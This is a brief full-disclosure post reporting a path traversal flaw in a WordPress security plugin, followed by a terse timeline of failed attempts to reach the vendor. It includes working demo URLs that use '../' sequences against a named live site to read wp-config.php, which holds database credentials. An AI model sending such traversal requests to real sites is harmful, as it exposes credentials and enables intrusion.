This wordpress security plugin lets you read arbitrary files on the system. Looking at the code, there will be plenty of stuff like this. Demo: http://www.cloudsafe365.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-config.php http://www.cloudsafe365.com/wp-content/plugins/cloudsafe365-for-wp/admin/editor/cs365_edit.php?file=../../../../../wp-login.php Disclosure timeline: * Today: visit wordpress.org * Try to report bug * System wants login * Visit web site: vendor has no e-mail address and stupid one-liner contact form and hidden name * Stuff it, I'm not going to phone them